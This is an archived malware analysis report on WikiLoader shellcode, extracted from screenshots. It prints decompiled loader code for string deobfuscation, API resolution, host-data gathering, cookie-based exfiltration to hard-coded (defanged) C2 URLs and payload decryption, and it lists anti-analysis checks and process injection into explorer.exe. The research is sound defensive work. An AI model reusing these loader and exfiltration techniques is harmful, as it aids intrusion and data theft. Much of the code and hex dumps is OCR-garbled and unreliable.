https://github.com /VenzoV/MalwareAnalysisReports/blob/main/WikiLoader /WikiLoader%20Shellcode%20pt3.md

MalwareAnalysisReports/WikiL.oader/WikiL.oader Shellcode

pt3.md at main - VenzoV/MalwareAnalysisReports

By VenzoV

Archived: 2026-04-05 17:00:14 UTC
Summary part 2

e Loading bingmaps.dll

e Long busy loop to slow down execution.

e Retrieving once again API via PEB walking

e Function used to load API from: Kernel32.dll

e Function Used to load native API to perform indirect syscalls: ntdll.dll

e Checks if native calls are hooked.

e New thread is created and execution is switched, the thread points to bingsmap.dll and jumps back and
forth to shellcode.

e Anti analysis checks for common malware analysis tools (x64dbg.exe, pe-bear, process hacker etc.)

e Shellcode is writte into explorer.exe

Overview

e Overwrites PEB structure

e Creates a mutex 330117

e Dynamically loads API

e Deobfuscation of strings through even positioned characters.

o Gathers system information to send to C2

e C2requests look for GMAIL tag for extra data (Decryption key)

o Data blob is decrypted and execution is swtiched to new location.

String " Obfuscation”

The obfuscation is simple and is only based on getting the character sitting in an even position. So position:
0,2,4,6.. etc
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1| dinted4 fastcall mw decbfuscate ewvenchars(_ dinte4 al,  int64 a2,  intB4 =33, _ int64 ad)
2 [{

3| __dnte4 ws; // rox

4| __inted v6; // ri2

5| _ dinted v7; // rl3

6| _ inted i; // rcx

7| _OWORD wie[11]; // [rsp+8h] [rbp-58h] BYREF

& | _BYTE savedregs[64]; // [rsp+58h] [rbp+2h] BYREF
9

12 | memset(vl@, @, savedregs - (_BYTE *)}vl@);

11| vie[18] = al;

12| wie[9] = az;

13| wvie[8] = a3;

14| wvia[3] = a4;

15| w5 = @isd;

L6 | do

L7 +Hv5;

L8 | while { *(_BYTE *)}(al + w5} )3

L9 ve = al + v5;

| w7 = Bisd;

2 for (1 = @i6d; al + 1 < va; 1 += 2i64 )

22 #(_BYTE *)(a2 + vi++) = *{_EYTE *){al + i);
23| *(_BYTE *)(a2 + v7) = @;

2 return v7;

25 [}

We can easily get the strings and write any python script to deobfuscate them all in one go.

Strings:

["WurtirtAenPWrSoycOePsVsDMlewmropruyN",
"DKeiljegtferFDiNlNeBAP",
"VfitrltEuCaQlyAelWlkoYct",

"CCoToCkaiweX:1 ejkfikQUwgZ=c7F5I808R8F2L1coW",
"GpeTtPCJogmjpduztBeDriNiaDmretEYxUAG",
"LIo0asdglsidbnrHagrmyGAS",
"FxrreyePLsiyblrlaxrlyC",
"WginnQiAnyePtc.1dV1s10",
"IKnktjemrinJeJtwOBpeeRnRAC",
"IfnSteeZrEnSeCtmCdoKnZnFetcLtNAw",
"HptHtMprOhpJeEngRfellgnuKefsotLAx",
"HBtdtyphAudEdVRaeBqBueeTsFtbHnevaPdlebrNsPAs",
"HktLtopzSFeMnmdKRfeNgjuceRsxtDAT",
"HXtNtfpaEknDdvRdeFgbureosMtFAp",
"IDnktseHrhnfegtVRseeaFdpFqiblReN",
"IUnTtvelrcnyeItiCmlroxsSepHsaZngdClJeh",
"MWoLzwijlhlLaN/V5H.D@m a(JLSignFuGxa;z GUC;y CAEnadlLrYo0iGdF d4s.m@N.h3G;p KeQnS-fgvbN;t jKpFgTYTs QBXuAiklwdH
"CDrZyypots3E2a.pdL1glp",
"BFCirjyIpatcGFeOntRcajnVdIoOmF",
"BGcyrbylpltb.jdqlC10",
"CWrfyPpjtjSmtSrYiwnzgDTtokBWisnRalrqyXAd",
"CRrnyJpNtYBYiSnOayriypThoGSLtorOimnUgtAI",
"VzivrpteuMaP1JFlrueTeP",
"VYihrItiuTallePbrtottJeYcGtw",
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"GYeatsTniAcjkvCOoAuOnWtA6HAwW",

"Sd1Deneyps",

"GWevtXSiySsEtMeEmyTmicmSej",

"wosCpCrSiVnZtwfNAX",

"GBextkCdosmipYulitkeiruNnaRmjeoAk",

"Gdelt1UJskeHrENeaNmsehAi",

"IDsvUXsueQrcAknZAgdymyicny",

"IzsbWUiXnHdFoxwwsXSRerrVvteart",

"GGeRtrUTsGeJrZDsepfvaRuUlTtjUAItLxalnxgZujaPgden",

"RNtulSGkeDtiVieSrwsJitornc",

"GMeqthVeegrxsGigoingEWxMAC",

"AwdhvoaVpyiH3u2x.jdK1Ply",

"SkhzeE1ly1D3z2Q.wdnlglV",

"UKsoeMrI3Y2L.AdTimM",

"330117",

"CArleYaztVeIMmuOtwecxMAu",

"GMeltvLGaLsbtLEqrwrtoKra",

"lrsjtYrwlrejngAF",

"lusMtZrylUevnAWI",

"BnCerpywpRtI0gpReIniAOlIgLorrUiktLhRmhPyrGonvpibdaelrc"”,
"ByCHrpyXpGtzGZettoPRrDoepveUrXttyB",

"BqCzrqyVpRtPSTeQtqPDrboypceerVttyn",
"BOCorbyQpQtgGhevngewrlaGteekSAykmSmXeGtzrHimciKtedyx",

"BRCprayjpYtaDGeocqrlyipztx",

"BXCarFyJpxtfDuePsvturloqykKzefyK",
"BwCmruyKpUtDCm1NoosBeAAL1KgNoQrHigtKhRmOPSrDoHvciFddeqrl",
"hgtmtNplst:M/k/WtHhOiWcuhIgmisbNaLnI.UcloVmH/D8DsEjCdwtWuR.Zpkhnpn?oindf=C1C",
"hJtctZpZsa:b/C/0ktaGsDhQmDizrewIojrN1SdVwCiXdmeS.ecIoimU/Ciblqwk4YKTlp.upnhRpo?EiKdI=21d",
"hVtitUpZsn:T/w/DtIhJeskOoosttNepntfBanmfidlayYsX.ScfoDmX/wmh1HbV7goH3a.ypAhxpE?Eibde=vir",
"hitZtopwsB:z/t/KmMuBlFtSiotzryaDdieErfsR.nnVehtG/UyqvB7icblFrc.JpLhTpz?AindM=f1j",
"hqtGtOpeso:0/d/PkFaYsPhXmtiqrpwCoDrBladJwNipdieE.zcmoAmn/hialfwf4kkzlw.ypehcpU?ciPdo=J1H",
"hGtutwpPsf:Q/Z/KthhtiQcThigjiQbcalni.WcHopml/x8SscjldGtXuC. kphhupx?xildk=C1M",
"hXtYtRpvsV:X/i/WtohBeskDoWsotVednEfkaomkiolayMsy.KcEobmj/Rmt1Ebi7Rou3Z. ipohlpC?liHdw=d1z",
"hOtxtTpxsH:N/0/emDuQlktqiltnrCaDdMeUrRsr.GnpeGtg/VyQuo7ScllWrV.zpRhcpz?Ziidf=01g"]

Deobfuscated strings:

WriteProcessMemory
DeleteFileA
VirtualAlloc
Cookie: jfkUg=75888210
GetComputerNameExA
LoadLibraryA

FreelLibrary
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Wininet.dll

InternetOpenA

InternetConnectA

HttpOpenRequestA

HttpAddRequestHeadersA

HttpSendRequestA

HttpEndRequestA

InternetReadFile

InternetCloseHandle

Mozilla/5.0 (Linux; U; Android 4.0.3; en-gb; KFTT Build/IML74K) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.6¢
Crypt32.d11l

BCryptGenRandom

Becrypt.dll

CryptStringToBinaryA

CryptBinaryToStringA

VirtualFree

VirtualProtect

GetTickCount64

Sleep

GetSystemTime

wsprintfA

GetComputerNameA

GetUserNameA

IsUserAnAdmin

IsWindowsServer

GetUserDefaultUILanguage

RtlGetVersion

GetVersionExA

Advapi32.dll

Shell32.d11l

User32.d11

301

CreateMutexA

GetLastError

1strlenA

1strlenW

BCryptOpenAlgorithmProvider
BCryptGetProperty

BCryptSetProperty
BCryptGenerateSymmetricKey

BCryptDecrypt

BCryptDestroyKey
BCryptCloseAlgorithmProvider
hxxps[://]thichgiban[.]Jcom/8sjdtu[.]php?id=1
hxxps[://]kashmirworldwide[.]com/ilwdk1[.]php?id=1
hxxps[ ://]thekostenfamilys[.]com/m1b703[ . Jphp?id=1
hxxps[://Imultitraders[.]Inet/yv7clr[.Iphp?id=1
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Mutex

Using similar method to load API, the malware retrieves GetProcAddress() from the PEB. It will load

CreateMutexA, and attempt to create one with the value:
e 330117 Then it will call GetLastError(), and check for the error code 183 which equates to:

¢ ERROR_ALREADY_EXISTS

(woid (_ fastcall *)(_QWORD, _QWORD))mw_deobfuscate_evenchars,
20y
mv_deobfuscate_evenchars(( int64)"CArleYaztVeIMmuOtwecxMAu", (  inte4)str ApiToload, w5, vG);// CreateMutexA
api_CreateMutexf = (void (_ fastcall *}(_QWORD, _QWORD, const char *)}mw_getprocaddress(
(__inte4)my_kernel3zdll,
(__inte4)str_ApiToload);
mw_deobfuscate_evenchars((_ int64)"GMeltvlGalsbtLEqrwrtokKra", (__inté4)str_ApiToload, vB, v3);// GetlLastError
api_GetlastError = (_ inte4 (*)(void))mw_getprocaddress((__int64)mw_kernel32d11l, (__ int64)str_ApiToload);
api CreateMutexA(@i64, 0ied4, "330117");
if { api_GetLastError() != 183 ) // ERROR_ALREADY EXISTS (MUTEX)

mw_decbfuscate_evenchars((__inte4)"vfitrltEuCaQlyAelWlkoYct”, (_ inté4)str_ApiTolead, v1l, v12);// VirtualAlloc
api_VirtualAllec = (_ inte4 (_ fastcall *)(_QWORD, _ inte4, _ int64, _ inte4))mw_getprocaddress(
(__int64)mw_kernel32dll,
(__inte4)str_ApiToload);
ptr_buffer = api_VirtualAl
*(_QWORD *)ptr_buffer = ap

c(@if4, BxSC4B4Ri64, Px3000i6d, 4i64);
rtualalloc(eie4, ex7AB913i64, @x3eeeicd, 4ie4);

mw_w_GenRandom((__ int64)mw_kernel32dll, mw_getprocaddress, (char *)(ptr_buffer + 8), 8i64);
mw_w_GenRandom((__int64)my_kernel32dll, mw_getprocaddress, (char *)}{ptr_buffer + 16), 8i64);
mw_w_GenRandom((__int64)my_kernel32dll, mw ( *y(ptr_buffer + 24), 8i64);
mw_w_GenRandom((__int64)my_kernel32dll, mw_| ( y(ptr_buffer + 32), 8i64);
mw_w_GenRandom((__int64)my_kernel32dll, mw ( FY(ptr_buffer + 48), 8i64);
mw_w_GenRandom((__int64)my_kernel32dll, mw_| ( *)(ptr_buffer + 48), 8i64);// Write 8 bytes to a buffer

LT e N L e N - AL LR E N G VR W R UV Wy

if ( mw_MainFunctions(

7

strepy(v2l, "ExitThread”);

api ExitThread = (woid {_ fastcall *)({ QWORD}}mw_getprocaddress({__ int64)mw_kernel32dll, {_ inta4)v21};
api_ExitThread{@ie4);

return @i64;

Host Information Gathering

Inside the Main block of the code, some system checks are performed. The information gathered is appended into
a memory section, in preparation to be sent out. Also, with this information a random number is generated of

length 48, this is done by loading Bcrypt.dll and calling on BCryptGenRandom()
Following the API called to check system:

o GetComputerNameExA -> Empty so appended "-" to the buffer that has the randomnumber.
¢ GetComputerNameA -> Appends the computer name

¢ GetUserNameA

e IsUserAnAdmin -> if user is admin appends a 1 or 0.

e GetUserDefaultUILanguage

o WsprintfA -> Append IsUserAnAdmin & GetUserDefaultUILanguage
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¢ GetSystemTime
o WsprintfA -> Append Systemtime

Memory section containing all the data:

AU s HER AN LL

0o00000000020000 | 31 30 39 39|37 33 30 30|34 34 32 30|33 38 32 32|1093730044203822
ooo0000000020010| 21 34 38 F2|38 38 31 39|39 32 34 39|32 32 36 37| 1482881992492267
0oQO000000020020| 31 34 38 32|36 32 32 36|38 32 36 31|30 36 36 37| 1482629682610667
0000000000090030 | 7C 7C 2D 7C|7C 57 49 4E|31 30 2D 44 (59 4E 41 4D | | |-| | WINLO-DYNAM
0000000000090040 | 49 43 7C FC|44 79 6E 61|60 69 63 FC(7C 30 FC 7C|IC| |Bynamic]| O] |
0000000000090050 | 32 30 35 37 |7C FC 32 30|32 34 ZE 30(32 2E 32 36| 2057||2024.02.26
0000000000090060 | 2B 31 36 3A|31 37 FC FC|31 30 2E 30(30 2E 31 39(+16:17||10.00.19
0000000000090070 | 30 34 35 FC|FC OO0 OO0 00|00 00 OO0 OO(00 OO0 OO OO0 (045 | | veeeerennns

F T L T T o A B T e Lo T o L T T B T

The above function mw_w_GenRandom works as a wrapper function for BCryptGenRandom()

memset{&v14, @, savedregs - (_BYTE *

ptr_arg_ptr_dllreference = arg_ptr_dllreference;

ptr_arg_ptr_mw_getprocaddress = arg_ptr_mw_getprocaddress;

ptr_arg_ptr_buffer = arg_ptr_buffer;

ptr_arg value_512 = arg value 512;

ptr_leadlibrar "

str decbfuscated = w53

mw_decbfuscate_evenchars(({__int64)"BGcyrbylplth.jdgqlCl0", v5, arg_ptr_buffer, arg_value_512);// Berypt.dll

addr bcryptdl]l = ptr loadlibraryi(str decbfuscated);// Bcrypt.dll

mw_decbfuscate_evenchars((_ ints4)"BFCirjyIpatcGFeOntRcajnVdIoOmF", str decbfuscated, v7, wE);// BCryptGenRandom

ptr_BCryptGenRandom = (void (_ fastcall *){ QWORD, _ int64, _ int64, _ int64))ptr_arg ptr mw_getprocaddress
addr_bcryptdll,

s

LY

= L
ptr_BCryptGenRandom(@i64, ptr_arg_ptr_buffer, ptr_arg_value_512, 2i64);// random 512 byte num, but get only two bytes I
- X TITLON] TRITCVC Lo Iy DITIaRTIyC 7 S0 oD NS eotets Vi0s VIl)3/7 TreeLiorary
api Freelibrary = (woid (_ fastcall *)(_ int64))ptr_arg ptr_mw_getprocaddress(
ptr_arg_ptr_dllreference,
str_decbfuscated);

api_Freelibrary(addr_bcryptdll);
return 8i64;

. [ims 1

Before moving to network function the string seen above is converted to BASE64 with CryptBinaryToStringA().
Similar to BCryptGenRandomy(), this is also located in a wrapper function that loads the .DLL then the function.

memset(&v17, @, savedregs - (_BYTE *)&v17);

d11l_reference = alj

mw_GetProcAddress = a2;

pbBinary = a3;

cbBinary = a4;

psz‘St'ing = vd;

mw_deobfuscate_evenchars((__inte4)"LIcOasdglsidbnrHagrmyGAs™, (_ inte4)str_buffer, a3, a4);// LoadlLibraryA

api_LoadlibraryA = (__int64 (_ fastcall *}{_BYTE *))mw_GetProcAddress(dll_reference, str_buffer);
mw_deobfuscate_evenchars((__ int64)"FxrreyePLsiyblrlaxrIyC”, (_ int64)str_buffer, wve 7);// Freelibrary
api Freelibrary = (void (_ fastcall *)(_ int64))mw_GetProcAddress({dll reference, iffer);

mw_deobfuscate_evenchars((__int64)"CDrZyypots3E2a.pdllglp”, (_ inté4)str_buffer, wva, via);// Crypt32.d1l

ptr_Crypt32dll = api_LoadlibraryA(str_buffer);

mw_deobfuscate_evenchars{{__int64)"CRrnylpNtYBYiSnOayriypThoGSLtor0imnUgtAI", (__inté4)str_buffer, w12, v13);// CryptBinaryToStringA

api_CryptBinaryToSt A= (__inte4 (_ fastcall *)(_ inte4, _ inte4, _ int64, _ int64, _ int64 *))mw_GetProcAddress(ptr_Crypt32dll, str_buffer);
i ingA(pbBinary, cbBinary, ©x40000001i64, 0i64, &pcchString);

return pcchString;
if ( api_CryptBinaryToStringA(pbBinary, chBinary, @x4e@eeeeliss, pszstring, &pcchstring) )// Third arg: dwFlags CRYPT_STRING_BASEG4 CRYPT_STRING NOCRLF

api_FreeLibrary(ptr_Crypt32d11l};
return pcchString;

}

reaturn AiRd-

C2 Connection

Malware attempts to connect to the 8 hard-coded URLSs and read the page. This next part is the same as the
Proofpoint research mentioned in references. Basically, the pages contain a tag containing the string "gmail",
inside there is another obfuscated URL which contains the next stage payload. For me at the moment non of the

URLs are working and have that tag.
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4z | while ( 1)

5@ |LABEL_12:
if ( URL_Counter ==
return @ig4;

wnoin

v25 = 13
i or»= B3
mw_decbfuscate_evenchars (*(
5 d =

nin

e

i
[ R I Y S FT R

5
59
&8

+HURL_Counter;
goto LABEL_12;

N Rl el
AUl LR e

-

o
L | T T =1
o
il

[ Y T |
{1 R I

78
78
9

o

i S S T S

]

oo 0o Co

(S

int64

rmv_URLConn;t(d

“Y((char *)vas +
reference, mw_Get

// Attempts calls te urls?

(unsigned _ int

ProcAddress,

/f ony<!--gmail

)(8 * 125))
fer, (L

-
int

64)pt

v22);// cookie

The requests are made to the URLs with cookie Cookie: jfkUg=75888210 + [BASE64 ENCODED SYSTEM

DATA]

Ll L [ | L=

e

000000000167 0000
000000000167 0010
QO00000001L67 0020
000000000167 0030
000000000167 0040
000000000167 0050
000000000167 0060
000000000167 0070
000000000167 0080
000000000167 0090
QOO0000001L 67 00AD
000000000167 00OED
000000000167 00C0
OO &7 DO

43
55
41
63
59
41
78
31
78
41
&F
GE
o0
e

&F
34
TA
30
34

&F
4F
4D
4F
4E
4E
56
51
4D
4E
4D
4E
00
iy

38
44
35

78
00
iy

Currently gmail tags are empty:

&
44
54
54
64
64
30
33
48
43
5E
44
00
iy

69

GB
51

63

78
78
34
78
1
00
0

66
38

6B
66
4F
4E

55
44
44
44
64
58
46

65 3A 20
4D 54
4D 54
4F 44
4E GA
78 4E 44
4F 4D 54
38 52 48
38 4D GA
[}
54
41
00
Y

6A
42
59 34
67 79
41 32 4E
59 33 4E
41 74 52
75 59
31 4E
4E
4D
00
o0
e

34
33
35

33
79
44
oo
oo
iy

41
34
41
iD
o0
e

35
1=
o0
e

75
3D
00
iy

4D
5153
00
M)

4E
4D
4F
4D
4D
4c
51
59
4D
4D
4D
00
00
iy

7A
44
54
54
B4
58
5§
33
6A
44
54
00
00
Y

Cookie: jTkUg=NzZ
U40DgyMTESTD gOMD
AZMTRKAMTY40DAZOT
COOTOI0DgYNDM M T
Y4M]gEHjAZNT Cwi ]
AYNICHNDYINEXNBLX
¥EVOTOMTATRF1OQU
1JQZXBRHIUYWLpY3
KBMHXBMJALNIKEM ]
ANC 4w 1 4Ny SwhD
OXMNX BMTALMDALUMT
EwNDVETA=—......

Decryption Routine

After reaching out to C2 there is one other interesting function. This function seems to load BCrypt.dll and

perform some decryption on a large data section contained in the shellcode. The same API from BCrypt.dll are
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called like part 1. Tracing back from BCryptGenerateSymmetricKey(), it seems the key is actually obtained from

results of the URL connections. If successful, JMP to newly deobfuscted code is made.

1 %E = % AT Al W) ol M AT " Y OdC EE A\ P W L |Local Windows debugger | o] [|ef - S0 BT B

“tion nstruction Data [ Unexplored External symbol [l Lumina function
34 View-A, Psel de-A B |§| Hex View-1 D Structures D Bﬂ Enums D E
A View-A \ o s x ||[Ee =)
ot : BeeRa00E0840 db 'Rou3Z.ipohlpC?liHdw=dlz',@ A 79 | __inte4 w77; // [rsp+1@8h] [rbp-18h] BYREF
“ | ct:epooeeooee4n3E95 wgtxttpxshNOEm db 'hOtxtTpxsH:N/O/em TrCabDdMelrRsr . GnpeGi 88 | _ inté4 v78; // [rsp+lleh] [rbp-8h] BYREF
L 0000000000403895 ; DATA XREF: mw_MainFunctic 81| _BYTE savedregs[64]; // [rsp+118h] [rbp+@h] BYREF
ot 1 0000000000403ED6 cpz?ziidf=olg’,@ 82
“ | ct:oooee0enpe403BEE dword _403BE6 dd 62747143h | ; DATA XREF: mw _Decryption- | ® 83| memset(v45, 8, savedregs - v45);
- ot BA00000000403BEA db 72h ; r ® 34| dll_reference = arg dllreference;
N ot :0000000000403BEE db 53h ; S ® 35| mi_GetProcAddress = arg ptr_GetProcAddress;
N ot : 8000000000840 3BEC db  34h ; 4 ® 36 w7l = a3;
N ot BReanaRaRa4a3BED db 4%h ; I @ 57 vbd = ad;
- ot 1 BB00B0000B403BEE db 61h ; a ® 38 wd = a3 + 1924;
N ot :0000000000403BEF db 77h ; w ® 39| target = mi_w_CryptStringToBinaryA(
N t: BBRAAAA806483EF db 6Bh ; k 98 arg_dllreference,
N ot B200000008483BF1 db 67h ; g a1 arg_ptr_GetProcAddress,
* | ct:eoooeenoeei03EF2 db &3h ; c a2 (__inted)Rdword _4B3BEG,
Dt S | -
&% str_buffer[j + 11] == 188
&R str buffer[i + 12] == 32 ) // on»<!--gmail
break;

LABEL_35:

E

*(_QWORD *}&savedregs[8] = j;
*{_QWORD *}savedregs = j;

v28 = &str_buffer[j + 13];

for ( k = eisd; v2B[k] != 32; ++k )

if ( k<=18)

1
j = *(_QWORD *)&savedregs[8];
goto LABEL_35;

}

for ( m = @ie4; v2g[m] != 32; ++m )

0
v31l = mw_w_CryptStringToBinaryA(dll reference, mw_GetProcAddress, {_ int64)w28, m);
ptr_buffer_2[v31l] = @;
VA = T{_UWORD Typtr _butTer 2;
y35 = ptr buffer 2 + 87
for ( n = @i64; n <= @x20; ++n )
v35[n] #= HIBYTE(v34) ~ BYTEG(v34) ~ BYTES(v34) ~ BYTE4(v34) ~ BYTE3(v34) ~ BYTE2(w34) ~ BYTEL(v34) * vid;
v37 = str_buffer; ——
qmemepy (str_buffer, ptr_buffer_2 + B8, 32uis4);
TSI32] = 8;
mw_deobfuscate_evenchars({(__ inte4)"VzivrpteuMaPlIFlrueTeP™, (_ inte4)v4l, w32, v33);// VirtualFree
api_wirtualFree = (void (_ fastcall *)(char *, _QWORD, _ inte4))mw_GetProcAddress(dll_reference, w4l);
apl VirtualFree(ptr_buffer, @if4, @xB0001i64);
apl_VirtualFree(ptr_buffer_1, ©is4, 0xB080ic4);
api_WirtualFree(ptr_buffer_2, 0ic4, ox3000i64);
return Bx28164;

b

Q0000e3E m_HainE‘u.nctiuns:lSS (40143€) (Synchronized with IDA View—&, Hex View-1)

return #ib4;

len kavecoaoi dotclaniflal.

if (Japi_BCryptGenerateSymmetricKey(v73, &v69, v74, v76, key, len_key, @i6d} } I
retlrn Bib4;

if ( api BCrypthecrypt(v6o, v6s, ptr Target, @i64, ptr ptr buffer 1, v73, @i64, @i6d4, &v6E, 1i64) )
return 8i64;

ptr_buffer_2 = (const void *)api_virtualallec(e@isd4, v63, 12288ie64, 4ie4);

if ( !ptr_buffer_2 )
return Bic4;

V67 epbcabuifaz 0.

if (|api_BCryptDecrypt({ved, w65, ptr Target, @ied4, ptr_ptr buffer_1, w73, ptr_buffer_2, ved, &v63, 1is4) )I
rethr oLlom,

vd@ = vB3;

vdl = vB3;

vd2 = wibd;

gmemcpy (ved, vE7, vEB);

ciaaF._ aa A

o b o wer e e

T

Ending
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Unfortunately, I was not able to go further due to not being able to get information needed from the C2. I will
maybe go back or look for other samples going forwards to see the final part. Mostly all the flow is the same as

ProofPoint's analysis referenced below. Thank you for your time.
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